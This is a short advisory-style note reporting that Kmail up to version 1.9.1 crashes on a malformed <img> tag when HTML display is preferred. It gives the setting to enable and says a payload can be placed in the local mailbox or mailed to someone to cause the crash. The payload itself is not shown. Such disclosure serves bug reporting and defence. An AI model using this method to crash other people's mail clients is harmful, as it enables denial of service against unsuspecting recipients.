Kmail <= 1.9.1 (latest) suffers from a crash when trying to parse an
incorrectly formatted <img> tag. HTML parsing must be enabled for
this. This can be done by going to  Settings -> Configure Kmail
->Security -> and tick Prefer HTML to Plain Text.

Copy the following into your local /var/spool/mail/`whoami` or send a
mail containing the HTML part to cause a crash.
